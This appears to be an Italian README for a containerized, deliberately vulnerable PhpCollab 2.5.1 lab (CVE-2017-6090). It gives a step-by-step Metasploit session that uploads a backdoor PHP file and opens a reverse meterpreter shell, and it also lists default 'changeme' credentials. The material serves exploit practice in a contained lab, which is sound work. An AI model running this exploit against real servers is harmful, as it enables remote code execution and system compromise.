
PhpCollab containerizzato sfruttabile
Questo progetto costruisce un container che esegue PhpCollab 2.5.1, contenente una vulnerabilità di esecuzione di codice remoto come descritto in CVE-2017-6090. Inoltre, c'è un file docker-compse per avviare quel container e mysql per mostrare la demo, e le istruzioni per lo sfruttamento sono riportate di seguito.
docker build -t containername . o usa l'immagine jlkinsel/exploit-cve-2017-6090
Il modo più semplice per mettere in funzione questa cosa è usare il file docker-compose.yml incluso. Se mi annoio a un certo punto - o le persone mostrano interesse - creerò un deployment Kubernetes o un Helm chart.
Quindi, per avviare le cose:
docker-compose up
Fin qui tutto bene! Ora, phpcollab deve essere configurato per usare il database, e gli deve essere assegnata una password di amministrazione predefinita. Ho (brevemente) provato ad automatizzare questo, ma...beh...sembra che tu sappia usare un browser...
Infine, puoi accedere e curiosare, ma non è necessario per lo sfruttamento.
Nota che questa composizione docker non sta facendo nulla di speciale per lo storage. Se desideri rendere persistente il database mysql, dovrai aggiungere una definizione di volume alla definizione del servizio mysql in docker-compose.yml. Vedi esempi sulla pagina docker hub di mariadb
Prima - segui Esecuzione e configurazione sopra per mettere in esecuzione l'applicazione.
Non ho aggiunto un exploit in questo progetto, perché, beh, Metasploit.
Nuovo in MSF? Ecco una rapida panoramica dello sfruttamento del container che abbiamo appena avviato:
docker run -ti --network exploitcve20176090_default remnux/metasploit
Ci vogliono alcuni minuti per avviare tutto. La pagina docker hub di remnux/metasploit spiega come usare i volumi in modo che non richieda così tanto tempo in futuro. Ma siamo quasi ora!
Una volta ottenuto un prompt della shell, continuiamo:
# msfconsole
msf5 > use exploit/unix/webapp/phpcollab_upload_exec
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGET 0
TARGET => 0
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RHOST phpcollab
RHOST => phpcollab
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RPORT 80
RPORT => 80
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGETURI /
TARGETURI => /
msf5 exploit(unix/webapp/phpcollab_upload_exec) > exploit
[*] Started reverse TCP handler on 172.31.0.4:4444
[*] Uploading backdoor file: 1.wGvfKLDyWHL.php
[+] Backdoor successfully created.
[*] Triggering the exploit...
[*] Sending stage (37543 bytes) to 172.31.0.2
[+] Deleted 1.wGvfKLDyWHL.php
meterpreter >
A questo punto, sei dentro, e i giochi possono iniziare.
Se il nome di questa directory è diverso da "exploit-CVE-2017-6090" dovrai cambiare il comando --network sopra.
Inoltre - sì, impostiamo la porta remota a 80 in msfconsole, anche se esternamente è 8088. Il container metasploit è sulla stessa rete del container phpcollab.
| Campo | valore |
|---|
| Server database | mysql |
| Login database | phpcollab |
| Password database | changeme |
| Nome database | phpcollab |
| Notifiche | False |
| Password amministratore | changeme (o quello che vuoi) |